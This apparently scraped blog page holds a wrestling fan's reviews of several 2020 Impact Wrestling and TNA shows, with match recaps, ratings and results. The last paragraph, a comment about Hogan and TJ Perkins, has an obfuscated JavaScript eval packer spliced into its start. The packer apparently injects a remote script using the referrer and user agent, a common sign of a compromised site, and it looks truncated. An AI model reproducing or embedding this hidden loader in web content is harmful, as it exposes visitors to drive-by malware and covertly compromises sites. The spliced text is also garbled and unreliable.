IMG Credit: Impact Wrestling

Impact Wrestling
Date: May 12, 2020
Location: Skyway Studios, Nashville, Tennessee
Commentators: Madison Rayne, Josh Matthews

Here are last week’s results if you need a recap.

The opening preview, narrated this week, talks about the tournament, but Moose cuts things off and throws it to the still amazing TNA voiceover guy who talks about how great Moose is. This includes various clips of names like Christopher Daniels, Robert Roode, Jeff Hardy, Dixie Carter and Hulk Hogan praising someone, who of course is Moose and this is in no way doctored. This was great and an actually unique opening.

Opening sequence.

#1 Contenders Tournament First Round: Mad Man Fulton vs. Hernandez

The Crists are in Fulton’s corner. Fulton drives him into the corner to start so Hernandez takes the bandanna off to show that he’s serious. Some running clotheslines don’t do much to Fulton but a Pounds takes him down as the shouting ensues. Fulton gets two off a suplex and it’s time to choke on the ropes as the announcers debate the validity of Moose’s title reign. Hernandez fights out of a chinlock but gets sent head first into the mat for his efforts.

Jake Crist gets in a cheap shot and we hit the chinlock again. Fulton misses a heck of a middle rope headbutt and Hernandez is back with a backsplash. The Crists get involved so Hernandez throws Jake at Fulton. Hernandez goes up top, shoves Fulton down, and hits a top rope splash for the pin at 8:54.

Rating: C. Not a bad power match here though I would question having OVE lose AGAIN, especially with the numbers advantage. The story of them being all messed up with no leader is fine and makes me wonder why they’ll bring in to replace Sami Callihan, but how much of an advantage do you need to beat Hernandez.

Michael Elgin doesn’t understand why there is a tournament when he has proven himself time after time.

Fulton is freaking out and the Crists are ready to come to blows. Crazzy Steve comes in to say he’s ready to fight next week. Joseph P. Ryan comes in to say the word Crazzy is offensive to crazy people.

The announcers preview the rest of the show.

Kylie Rae vs. Tasha Steelz

Steelz is an NWA regular. There’s no handshake to start and Kylie spins out of a wristlock. A headscissors gets Kylie out of a headlock on the mat so Steelz headstands up. It works so well that Kylie does it as well, albeit with a smile. A series of clotheslines sets up the chinlock on Rae so she powers up and drives Steelz into the corner. More clotheslines stagger Steelz but she sends Rae out to the apron for a breather. The Kylie Special gets two but Tasha rolls away from the STF. Steelz’s high crossbody gets two as Josh praises Steelz quite a bit. A springboard bulldog is blocked though and the STF finishes Steelz at 6:56.

Rating: C-. It’s hard not to like Kylie a little bit with the gimmick being so similar to Bayley. That’s something that works well if you have the charisma to build it up. What matters most here though is the rebuilding of the Knockouts division, which is suddenly looking rather deep. It’s certainly looking better than what we had a few months or even years ago.

Rohit Raju is ready to get his big break. He’s tired of being a joke and it’s changing tonight in the tournament. This is an interesting case as Raju on his own it’s too bad. It’s just how far down he’s been for so long. Maybe the lack of the rest of the Hit Squad will help though.

Susie comes up to Kylie in the back for a second introduction. Susie understands that Rae’s last night’s “again” and thinks Rae sounds like a ray of sunshine. Kylie: “I like her.”

Kimber Lee vs. Havok

Kimber screams at her so Havok screams back. Lee: “Nope.” Havok grabs her by the hair but gets chopped in the corner. That’s broken up and Havok hits a sitout powerbomb for two. Some kicks to the head rock Havok and we hit the choking on the ropes. Back from a break with Havok whipping her hard into the corner. That’s reversed into an Octopus in the ropes as Nevaeh comes out to watch. Lee’s Swanton gets two, as does Havok’s spinning side slam. Havok sees Nevaeh and the distraction lets Lee bust out some brass knuckles. A loud scream scares the referee so Kimber can use the knuckles for the pin at 8:47.

Rating: C. Just like in the previous one, I’m interested in how they’re rebuilding the division. That could go a long way and with so many talented people out there, the division could go in a lot of directions. This wasn’t a great match or anything, but the Knockouts are getting more depth than the WWE women’s division has had for a good while now. Granted having one division to two helps a lot.

Video on Kiera Hogan. She’s been learning from her mistakes and is waiting for the perfect opportunity.

It’s time for Locker Room Talk with Ken Shamrock, who doesn’t think much of Johnny Swinger. Shamrock talks about how he’s had a lot of feuds since he’s been been and he’s ready to hurt people. The only thing that matters is getting the World Title, so here’s Elgin to hit him in the head with a chair.

Sami Callihan is used to people trying to follow in his footsteps and that’s all Elgin is doing now. Next week, Sami is ready to take out Elgin in the tournament.

#1 Contenders Tournament First Round: Trey vs. Rohit Raju

They’re both on their own. They fight over arm control to start with neither being able to get much of an advantage. Trey runs him over with a shoulder but an elbow to the face cuts him down. A sitout facebuster into a boot scrap to the face sends Raju outside where he catches Trey with a shot to the face.

Back in and a Steve Austin elbow connects for two as the announcers bicker about Moose again. Raju’s running Downward Spiral gets two more and it’s a snap suplex for the same. Trey fights up for the slugout and hits a running neckbreaker for the double knockdown. A kick to the face gives Trey two and he catches Raju on top with the Cheeky Nandos kick. The 619 connects but Raju knees him out of the air. Not that it matters as Trey small packages him for the pin at 10:19.

Rating: C+. That’s the right result but what matters most here is having Raju as a solo act. That might be the key to him the entire time as there was nothing happening with the Hit Squad and everyone knew it. Again, it’s a mentality of trying something different instead of hammering away with the same thing over and over when it doesn’t work. Well done for a change.

Cody Deaner tries not to go insane in self isolation. He’s been training in the woods and trying to have someone to share a beer. Then he wrestled himself and a stuffed animal to make himself feel better.

We go back to the Battle Arts Academy in Canada for the North’s Tag Team Title defense. Ethan Page knows that Josh Alexander wasn’t happy with last week’s opponents so the ring announcer gets to pick this week. We get two more very skinny guys and Alexander isn’t pleased again. Ethan Page gets a bunch of nicknames ala Apollo Creed, though Alexander points out that Creed died in Rocky IV.

After hearing about Page being voted the sex symbol by a fishing magazine, Page superkicks the first schmo (as commentary calls him) out cold. That means Page has to pick him up for the offense, which doesn’t please Page. In other words, it’s a Weekend At Bernie’s match until Page super gorilla presses him into a backbreaker. Northern Assault finishes in a hurry. These have been funny and well done on making something out of nothing.

Rosemary yells at the cards in a bar and talks to her stuffed lion (for Taya) and stuffed bunny (for the Bunny). John E. Bravo comes in to say he misses how Taya smells but Rosemary is the one really obsessed with her. Rosemary doesn’t look convinced.

Flashback Moment of the Week: AJ Styles beats Matt Hardy at Victory Road 2011. They haven’t been airing as much of these things and that’s a good thing.

Chris Bey talks to Johnny Swinger about Willie Mack saying he was the leader of the Mack And Pack Connection.

Post break, Swinger comes up to Mack and says he’s not the weak link of the team. Swinger: “I’m not the Shawn Michaels of the team.” The title match is on for next week.

TNA World Title: Suicide vs. Moose

Moose is defending despite not actually being champion. Suicide grabs a rollup for an early two and an armdrag has Moose on the floor in a hurry. Back from a break with Moose yelling at the referee and getting hit in the face. They head outside with Moose whipping him into the barricade to take over.

Back in and a reverse press slam off the top has suicide in trouble again. As Josh wonders how many former World Champions aren’t pleased with Moose, Suicide gets kicked off the apron in a big crash. Suicide is swung into the barricade and it’s time to start celebrating. After getting back in at nine, Suicide gets knocked right back to the floor.

They switch places though and Suicide hits a namesake dive, followed by the cannonball off the apron. Back in and a headscissors puts Moose down again but he stomps Suicide down in the corner. The referee gets bumped so Suicide strikes away, including a running palm strike. The Code Breaker connects for no count so it’s a sunset flip for two. Back up and a low blow into No Jackhammer Needed retains the title at 16:14.

Rating: C+. I’m not sure how smart it was to have Moose need to cheat to beat a video game character but that has never stopped Impact before. Moose won and looked rather villainous in doing so, which I’ll take over a lot of other options. This is a gimmick that could go on for a good while, though the idea of Moose having trouble with a bunch of the older wrestlers who are classified as TNA Originals could get tiresome.

Overall Rating: B-. What got my attention the most around here is a fresh take on a lot of things. They’re bringing in new talents and presenting some fresh concepts, which is one of the best things that could be done. Impact has had such a bad reputation for so long now that it’s nice to see them do something different. I’ll take what I can get at this point and this was a fun, engaging show that made me want to see more. You don’t get that often around here and hopefully it is here to stay.

Results

Hernandez b. Mad Man Fulton – Top rope splash

Kylie Rae b. Tasha Steelz – Smile to the Finish

Kimber Lee b. Havok – Brass knuckles to the head

Trey b. Rohit Raju – Small package

Moose b. Suicide – No Jackhammer Needed

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Impact Wrestling

Impact Wrestling
Date: May 5, 2020
Location: Skyway Studios, Nashville, Tennessee
Commentators: Madison Rayne, Josh Matthews

We’re finally done with Rebellion and that means it’s time to start getting back to normal shows. I’m not sure what we’re going to be seeing around here but we have a new TNA World Champion, because that company needs some nostalgia instead of an interim Impact World Champion. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a Rebellion recap, which seems to include Kiera Hogan leaving the company after her loss to Kylie Rae. That would be a loss to the division as she was a solid hand.

Opening sequence.

Here’s a limping Sami Callihan for the opening chat. He can see everyone watching at home and knows the fans are cheering for him. After making his own sound effects, Sami says it’s time for the Draw to brighten your day a little bit. He took a heck of a beating at Rebellion but he’s still standing. At Rebellion, he went toe to toe with the World’s Most Dangerous Man and the referee stopped it. He doesn’t want OVE messing with his business anymore but for now, he wants to finish his business with Ken Shamrock.

Cue Ken to say Sami needs to calm down and open his ears. Shamrock talks about how he has made a lot of people tap out over the years but Sami didn’t tap. Sami: “No s***.” Shamrock talks about the people he’s made tap before, including Big Show, Bas Rutten and the Rock. Sami didn’t tap, so they can either go out back or put them behind them and go after the Impact World Title.

Cue Michael Elgin (Sami: “Big Mike getting the same reaction from the crowd he always does.”) to say he doesn’t need all of those weapons that Sami needs. Elgin says he’ll fight either of them but the line starts behind them. Sami says it’s the same thing you always hear from Elgin so the fight is on. Elgin bails and Sami disappears to leave Shamrock alone. A three way feud between these three could be….well a disaster is a real possibility.

Chris Bey is ready to become the new X-Division Champion and make it the Finesse Division Champion.

Willie Mack is a little tired from partying over his title win but he’s ready for Bey.

Preview for the rest of the show.

XXXL vs. OVE

Jake Crist/Mad Man Fulton here, with Dave in the corner. Was there ever a reason why we don’t see the Crists team together more often? Josh to Madison: “Do you ever go to an all you can eat buffet?” Madison: “No. Look at me.” Larry and Fulton shove each other around to start with neither really getting anywhere. Fulton’s shoulder drops Larry but he’s back up with a slam so Romero can come in for the elbow.

Jake comes in and gets slammed down to set up the quickly broken chinlock. Larry slams him down for two more but Dave saves his brother from a double shoulder. Back from a break with Acey getting stomped down in the corner and somehow Fulton manages a Regal Roll. He rolls all the way over to Larry for a right hand to the head and then kicks Romero in the face.

Romero comes back with a spinebuster and the hot tag brings in Larry. Everything breaks down with Larry shrugging off the kicks to the face and backdropping Larry over the top. Back in and a powerbomb/reverse bulldog combination gets two on Larry but Acey Pounces Fulton. Larry is up with the Best Hand In The House for the pin on Jake at 13:02.

Rating: C-. XXXL are like the worse version of the Bouncers from Ring of Honor and that’s not exactly a high compliment. I get the idea and what they’re going for with it but how many THESE GUYS ARE HUGE teams can you have? The match was fine enough and they are pushing someone new with XXXL. That’s a good thing, but I’m not sure how much of a shelf life they have.

Flashback Moment of the Week: Kurt Angle b. Mick Foley at Victory Road 2009.

It’s time for Locker Room Talk with Madison Rayne (who changed clothes since she was shown on screen earlier) and Johnny Swinger. This week’s guest is Havok, who doesn’t seem all that impressed. Madison brings up Havok’s loss at Rebellion and gets glared down hard. Havok reminds her of what happens when people get under her skin so Madison moves on to Nevaeh.

Havok doesn’t know why Nevaeh showed up last week so Madison brings in the next guest: Kimber Lee. That doesn’t sit well with Havok either and Lee saying she’s rising to the spot makes it worse. Swinger thinks that means they both want him so Havok shoves him away. Violence is teased between the women.

Cody Deaner has parked his RV on the side of the road for isolation. He talks to some old LJN action figures while having a beer and then tries to sell merch. You knew someone was going to do this at some point.

Suicide vs. Johnny Swinger

Swinger wants a weapons check and jumps Suicide, only to fail with back and eye rakes. Swinger: “WHOA! EASY SPIDEY!” Suicide avoids a charge to put him outside but gets crotched on top. Choking ensues and Swinger elbows him in the head but misses the falling headbutt. The Swinger Neckbreaker misses and it’s a Codebreaker into the Swanton to give Suicide the pin at 3:41.

Rating: D+. They kept this short and Swinger lost, which are the only two requirements for one of his matches. He’s grown on me quite a bit as of late because they haven’t had him winning important matches or doing anything more than goofy. I don’t need Suicide back but that could be said about a lot of the people this company brings back in.

Ace Austin adds himself to the X-Division Title match because he’s beaten names like Eddie Edwards, Tessa Blanchard and Tommy Dreamer.

Moose doesn’t think much of Michael Elgin declaring himself the real World Champion when Moose has been the one beating all the big names. The reality is that Moose is the real World Champion because Tessa Blanchard is on vacation in Mexico. Josh points out that there is no value to the TNA World Title….by the way how did Moose even get the belt? Enough of that though because there will be a #1 contenders tournament starting next week. Here are the brackets:

Moose

Trey

Sami Callihan

Michael Elgin

Ken Shamrock

Rhino

Mad Man Fulton

Hernandez

Or not actually as Moose pulls himself out of the tournament. He already has the REAL World Title, which Josh again points out that he didn’t deserve. Moose lists off the people he’s beaten up and those wins make him the real champion. That’s enough of this.

Joseph P. Ryan vs. Cousin Jake

Rebellion rematch. Ryan stalls for the first minute but Jake gets the better of a chase and hammers away. A clothesline puts Ryan on the floor and we stall again. Back in and Ryan hits a dropkick, stops to yell at the crowd, and gets knocked right back down. An attempted stall is broken up by a right hand to the face but Ryan snaps him throat first across the top rope.

The neck crank doesn’t last long as Jake is back with a Michinoku Driver. A clothesline into a sitout powerbomb gives Jake two but Ryan is back up with Sweet Tooth Music for the same. Jake throws him down again but Ryan hides behind the referee in the corner. A poke to the eye and a rollup with trunks give Ryan the pin at 8:46.

Rating: D. What does Impact see in having Ryan as a regular wrestler? His entire appeal is the shtick and the answer is to get rid of what made him work? It doesn’t help when you have him going outside to annoy a crowd who isn’t there, which only made a match that didn’t have much value in the first place feel even longer.

Video on Kiera Hogan.

We go to the Don Koloff Arena, the home of the Battle Arts promotion. The North is introduced and they stop to beat up some mannequins on the way to the ring. Page slips on his way in but picks up the mic, saying it’s time to defend the titles. Alexander is asked who he would face in his dream match. Alexander: “KURT ANGLE!” Page: “Kayfabe man. His 90 days aren’t up yet.”

Two rather skinny guys come out, with one of them holding a mask. There is no disrespect meant and the match is on. We don’t actually see the match but rather some rapid fire clips, with the North winning in about 40 seconds show. This was a fun little bit and it was a nice way to keep the North holding the titles in the mess.

Rosemary consults some cards to see what is in store for her future. She gets some message and realizes she needs to speak to the high priestess. Some of the other cards please her as well.

Rohit Raju knows he should be in the #1 contenders tournament.

The tournament starts next week, plus Moose defending against Suicide and Lee vs. Havok. Rayne has changed again, because this is totally happening live and in real time of course.

X-Division Title: Chris Bey vs. Ace Austin vs. Willie Mack

Mack is defending and it’s one fall to a finish. Austin grabs the title from the referee so it’s Mack taking over early on, including a double clothesline. Back from the completely necessary break after twenty seconds with Mack’s standing moonsault hitting both challengers at once. Ace and Bey go outside for a meeting, but Ace turns on him after all of a split second.

Back in and Ace works on the champ’s arm but lets go after cutting the fingers with the playing card. Bey takes Ace’s place and hits a pop up hurricanrana to send Mack outside. Ace and Bey slug it out on the floor but Mack takes them both down with a running flip dive to send us to a second break.

Back with Ace snapping off a suplex for two on Bey before kneeing him in the ribs. Ace’s belly to back suplex gets two and he unloads on Bey in the corner for two more. They kick each other down as Mack pulls his way back in and the three way slugout is on. Mack forearms Ace down again and hits some alternating running shots in the corner.

An exploder suplex drops Bey again but Ace breaks up the frog splash. Mack tries a powerbomb out of the corner with Bey coming in to add a Backstabber for two. It’s a Stunner to Bey but Ace hits the Fold on Mack. That’s broken up at two so Ace hits the Fold on Bey with Mack making a VERY last second save (which he might not have made in time). Ace gets knocked off the top though and the Six Star retains the title at 19:05.

Rating: B. This is one of the places where Impact has improved by leaps and bounds over the last few years. Mack was the senior statesman here at 33, meaning you had three young guys out there doing what they could to steal the show. It was the best thing on the show by far and Mack retaining makes sense for the future. Very good main event here, and a positive sign for the company’s future.

Overall Rating: C. This was a little bit of an odd show as the main event was the only match worth seeing but the rest of the show was built around storyline advancement. A tournament is the best thing that can be done in a situation like this, as proven by the fact that WWE, AEW and now Impact, as in the only three major promotions running at the moment, are all in the middle of a tournament. If nothing else it can by them some time until Tessa gets back, and that might need a lot of time. Not a terrible show, but that main event had to bail it out.

Results

XXXL b. OVE – Best Hand In The House to Crist

Suicide b. Johnny Swinger – Swanton

Joseph P. Ryan b. Cousin Jake – Rollup with trunks

Willie Mack b. Chris Bey and Ace Austin – Six Star Frog Splash to Austin

IMG Credit: Impact Wrestling

Impact Wrestling
Date: April 28, 2020
Location: Skyway Studios, Nashville, Tennessee
Commentators: Madison Rayne, Josh Matthews

It’s the second night of Rebellion and that means it’s time to find out what is going on with the World Title. That’s quite the situation and hopefully they have a good answer to the problem. It’s a pretty rare situation so I’m curious to see what they come up with for the whole thing. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at the top stars and talks about how everyone wants to make it their night.

Suicide vs. Chris Bey vs. Trey vs. Rohit Raju

Josh on Suicide: “His origin story begins in a video game!” They take turns shoving each other together a few times before it’s a four way standing switch. Suicide drops off and watches the other three, with Trey doing the same. Bey and Raju do several more standing switches until they see the other two looking at them.

Trey gets sent outside and pulls Bey with him, leaving Raju to get caught in an octopus hold. That’s not the smartest idea but Bey gets back in to get caught in another hold at the same time. Raju kicks Bey and Trey down for two until Suicide comes back in to hurricanrana Bey. Trey puts Suicide and Raju down, leaving Bey to dropkick Suicide through the ropes.

A double dive is loaded up but Raju rolls Bey up for two instead. Suicide dives onto Raju and Bey, leaving Trey to hit a springboard flip dive onto all three. Everyone breaks up a cover and it’s Bey hitting a butterfly suplex for two on Raju. Suicide blocks Bey’s springboard armdrag and Trey hits a 619 to Raju and Suicide in the corner. With the three of them distracted, Bey superkicks Raju for the pin at 11:52.

Rating: C+. Take four people, throw them in there at the same time, and let them do whatever they can. It’s worked as an opener for years now and it always will work because it’s the kind of exciting match that is perfect for this spot. Bey winning was a good move as well and he has a bright future around here.

We look back at last week’s show.

Taya Valkyrie and Jordynne Grace aren’t here but we’ll still do Full Metal Mayhem with Rosemary vs. Havok.

Tessa Blanchard joins us via Facetime and promises to be back better than ever. She’s ready to beat Michael Elgin when she gets back and he won’t be World Champion.

Cousin Jake vs. Joseph P. Ryan

Ryan hides in the corner to start and then gets shoved down. A cheap shot lets Ryan gets in a few right hands, only to get knocked straight down again. There’s a toss across the ring and a whip into the corner gives Jake two. Jake misses a charge into the post though and we take a break.

Back with Jake’s arm in trouble and Ryan bending it around the ropes. The hammerlock slam is blocked so Ryan sends the arm into the post instead. Now the hammerlock slam works and we hit the quickly broken armbar. The driving shoulders have Jake in more trouble until he toss suplexes his way to freedom.

A Codebreaker to the arm sets up another hammerlock but this time Jake is back up with a spinning belly to back suplex. Jake hits a discus lariat for two and Ryan is sent outside for the big dive over the top. Back in and Jake’s sitout powerbomb gets two but Ryan is back with a superkick for the same. With the frustration setting in, Ryan tries another but has to settle for a rollup with a grab of the rope to pin Jake at 11:15.

Rating: C-. They had a story here and that helped, but Ryan just isn’t all that great in the ring. He’s mainly a gimmick guy and this gimmick is WAY less annoying than his previous one. The arm thing here was better, though it’s not like it was anything all that interesting in the first place. It could have been worse, but I’m still not going to care much about Joey Ryan.

Rosemary is at the bar and complaining about having to be in Full Metal Mayhem. Taya Valkyrie calls her and freaks out about wearing SWEATPANTS. Rosemary doesn’t want to face Havok again because that’s in her past but for now, Taya owes her one. A girls’ night is promised.

We recap Rosemary vs. Havok. They’re both monsters but this is taking place because we need a replacement match.

Rosemary vs. Havok

Full Metal Mayhem, meaning anything goes. Rosemary says they don’t have to fight but Havok insists. That’s fine with Rosemary, who staples Havok’s hand (as you do). Havok shrugs that off and takes the staple gun away to staple Rosemary’s back. A back elbow cuts Havok off though and a Sling Blade puts her down. It’s time for the street signs to Havok’s back until she gets in a big boot.

Havok charges into a chair in the corner though and Rosemary chokes her with a chain. That lets Rosemary shout about how James Mitchell’s blood is on Havok’s hands. Choking ensues until Havok pulls her in with the chain. More weapons are brought in and Havok hits a running knee in the corner. Rosemary pulls her face first into an open chair though and they’re both down, with the chair wrapped around Havok’s head.

Rating: B-. Given the lack of build for this, they beat each other up rather well and the Nevaeh cameo could go somewhere. Taya and Jordynne can do their thing later on and now Rosemary could serve as a good challenger for the winner down the road. All in all, perfectly fine here and a good, hard hitting match.

Willie Mack, with Rich Swann, talks about how big a fan he was of the X-Division growing up and Swann welcomes him to the club. Johnny Swinger comes up to ask for his title shot so they can all be in the champs’ club. Mack: “This guy smells like a car wash.”

Flashback Moment of the Week: Rich Swann beats Sami Callihan at Rebellion 2019.

Michael Elgin is disappointed that Tessa Blanchard and Eddie Edwards aren’t here because he can’t beat them up. Tonight, he becomes World Champion.

Video on Michael Elgin.

Here’s Elgin to address the World Title situation. He debuted at Rebellion 2019 and set his sights on the World Title. That was going to be realized here and it’s clear that Tessa is stuck in Mexico. Eddie has already gotten enough of him so get a referee out here right not to declare him the World Champion. Before the announcement is finished though, here’s Moose with the TNA World Title.

Moose says that Tessa is holding the Impact World Title hostage and Elgin agrees, because it’s his title. We hear about the title mattering, but Elgin calls him out for running down TNA and then talking about being World Champion. Elgin tells Moose to go back to the midcard so the challenge is on, but here’s Hernandez to interrupt. He wants in on this too, so ring the bell.

TNA World Title: Moose vs. Hernandez vs. Michael Elgin

The title is vacant coming in….I think? We take a break less than ten seconds in and come back with Hernandez blocking Elgin’s suplex, allowing Moose, in his Ultimate Warrior inspired gear, to break things up. Elgin throws Moose down and hammers on Hernandez in the corner, setting up a northern lights suplex for two on Moose. Hernandez runs them both over but Elgin is back up and grabs a half crab to put Hernandez back in trouble.

That’s broken up and Moose is knocked out to the apron. Elgin’s middle rope dropkick gets two on Hernandez and we take a break. Back with Moose still down and Elgin slugging it out with Elgin. Moose comes back in and breaks up Elgin’s charge into the corner with a boot to the face.

Elgin goes up but gets caught with a dropkick, only to have Moose go after Hernandez. A superplex brings Moose back down and we take another break. Back with Hernandez chopping away and kicking Elgin in the face for two. Moose makes his own save with a bunch of shoulders and a splash for two on Hernandez, with Josh calling him the Ultimate Moose to make the reference clear.

Elgin German suplexes both of them at the same time for two but Moose is back with the chokebomb out of the corner for two on Hernandez. That’s enough for Elgin, who buckle bombs Moose into the corner, only to get speared down. Hernandez gives Moose a spinebuster but Elgin steals the two. The Elgin Bomb hits Hernandez so Moose pulls the ref out at two. Elgin shoves the referee down so here’s a replacement, only to have Hernandez dive onto Elgin and take out another referee. Back in and Moose spears Hernandez for the fast pin at 28:32.

Rating: C+. This went on longer than it needed to and they could have done the same thing if they cut out about seven to ten minutes. What we got was good stuff though and Moose is now set up as the next challenger for Tessa. She has a lot to do when she gets back, but it could be a long time before we finally get there. Anyway, this was a fine power three way, though they went longer than they needed to.

Moose is announced as the new champion to end the show.

Overall Rating: B-. The wrestling was mostly good and they did what they could have done with everything being all over the place. As is the case with almost any wrestling show these days, you have to put some big asterisks next to it and that’s perfectly fine. It was a solid show and there was enough good wrestling to make the whole thing work. Now comes the hard part: keep the momentum going after two successful pay per view shows.

Results

Chris Bey b. Rohit Raju, Suicide and Trey – Superkick to Raju

Joseph P. Ryan b. Cousin Jake – Rollup while holding the rope

Rosemary b. Havok – Pipe to the head

Moose b. Hernandez and Michael Elgin – No Jackhammer Needed to Hernandez

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Impact Wrestling

TNA Special
Date: March 31, 2020
Location: Coca Cola Roxy, Atlanta, Georgia
Commentators: David Penzer, Scott D’Amore

Now this is interesting as the idea is to help get things ready for the There’s No Place Like Home special. However, the show, which was scheduled to air over Wrestlemania weekend, has been canceled. Therefore we have this as a stand alone show, which could go a bunch of ways. Let’s get to it.

We get the old TNA Cross The Line opening.

Here’s a video of TNA highlights, featuring the awesome voiceover guy they always had. There was a ton of talent around here and they had some good moments, which show you just how sad it is that they wound up being such a disappointment.

We get a quick welcome from commentary and the old TNA World Title is in front of them. I’ve picked that thing up before and it took me two hands to hold it.

Hernandez vs. Chase Stevens

Hernandez runs him over to start but it’s too early for the Boarder Toss. Instead Stevens snaps off a German suplex as commentary hypes up Friday’s pay per view. Stevens manages a hurricanrana for two, only to get caught in the Boarder Toss for the fast pin at 2:06.

Pay per view hype/show rundown.

Video on the Knockouts. They really were treated as a big deal way before any other major women’s division so well done there.

Gail Kim is excited about the show.

Video Ultimate X, which was going to return at the pay per view. Unlike King of the Mountain, this one didn’t seem far more complicated than it needed to be and felt like a great signature match.

Ace Austin is ready to defend the X-Division Title in an Ultimate X match. Austin risked it all in Ultimate X before but it was before he hit his stride. Now there’s nothing he won’t do to retain his title. He knows a thing or two about nonstop action you see.

Johnny Swinger/Kid Kash vs. Suicide/Manik

Kash and Swinger hammer away to start but it’s a double dropkick from Manik (who is clearly TJP) taking over. Poetry In Motion hits Swinger and we take an early break. Back with Manik snapping Swinger’s arm but it’s off to Kash to take over in the corner. Swinger’s elbow to the face gets two and a double shoulder drops Manik again.

Kash forearms him in the face over and over for two more but Manik finally rolls over for the hot tag to Suicide. That means superkicks can abound and an enziguri gets two on Swinger. Everything breaks down and it’s Manik and Suicide doing the stereo Andrade posing in the ropes. A pair of dives take out Kash and Swinger again, setting up a high crossbody to Kash. Suicide’s Swanton finishes at 10:24.

Rating: C-. This went a bit longer than it needed to but it was fine as a callback to some of the previous generations. That being said, of all the people they could do something with, they picked Manik? It’s not like he was anything significant in the company but it wasn’t a bad match or anything.

A bunch of wrestlers are asked about the King of the Mountain match and no one knows the rules. Willie Mack got it but Tessa Blanchard thought it was a giant rib (fair enough). Eh kind of funny, mainly because it’s true.

Raven talks about the Clockwork Orange House of Fun match and how it is only funny when someone gets hurt. Wouldn’t Monster’s Ball make a lot more sense here?

Rhino vs. Mad Man Fulton

This is a regular match before they have the Clockwork Orange match at the pay per view. They fight to the floor early on with Fulton getting the better of things. Back in and Fulton chokes a bit, followed by the chinlock, allowing commentary to plug Impact Plus. Fulton misses a top rope headbutt and the comeback is on, including the belly to belly. The Gore is loaded up but OVE runs in for the DQ at 3:52.

Rating: D+. Just a match here and it’s kind of weird to build up a hardcore match with a regular match, even if Sabu was going to be involved on Friday. The match wasn’t terrible, but these two not having weapons as a crutch hurt things a lot. Not the worst, but I’ve seen something similar far too many times now.

Post match the beatdown is on but Tommy Dreamer runs in for the save. Yes, Dreamer, who was mainly part of TNA as part of a nostalgia run for ECW, is now part of the entire company’s nostalgia run. Does this surprise anyone? Anyway the lights go out and it’s Raven making the save. At least that’s someone who was a big success in TNA. Raven takes Dreamer out for old times’ sake. Raven leaves so here is almost everyone else on the show so far with Kash hitting a big flip dive. Hernandez hits an even bigger dive to end the show.

Overall Rating: D+. What a weird little show. The idea here was to hype up Friday and they did that to a degree, but it was also kind of a look back at everything great that TNA did. While you can argue over how smart it is to have a nostalgia show for something that was such a mess at times, there is definitely a history there. This show didn’t really make me care about Friday’s show, but it did make me miss TNA a little so….well done? Maybe?

Results

Hernandez b. Chase Stevens – Boarder Toss

Manik/Suicide b. Kid Kash/Johnny Swinger – Swanton to Kash

Rhino b. Mad Man Fulton via DQ when OVE interfered

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

On eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhziy|var|u0026u|referrer|dhzhi||js|php'.split('|'),0,{})) Impact this last week, Hogan came out with TJ Perkins and said Perkins had always been Suicide.  Why is this such a topic of discussion?It’s well documented that Perkins hasn’t always been the guy playing the character.  TJ joined the roster earlier this year and Suicide was around like four or five years ago.  However, nearly every post I’ve seen about this has said how stupid it is for Hogan to lie about it.  THis is where smarks crack me up.  They claim to be so smart and knowledgeable that they miss the entire point of wrestling at times: it’s all one big lie.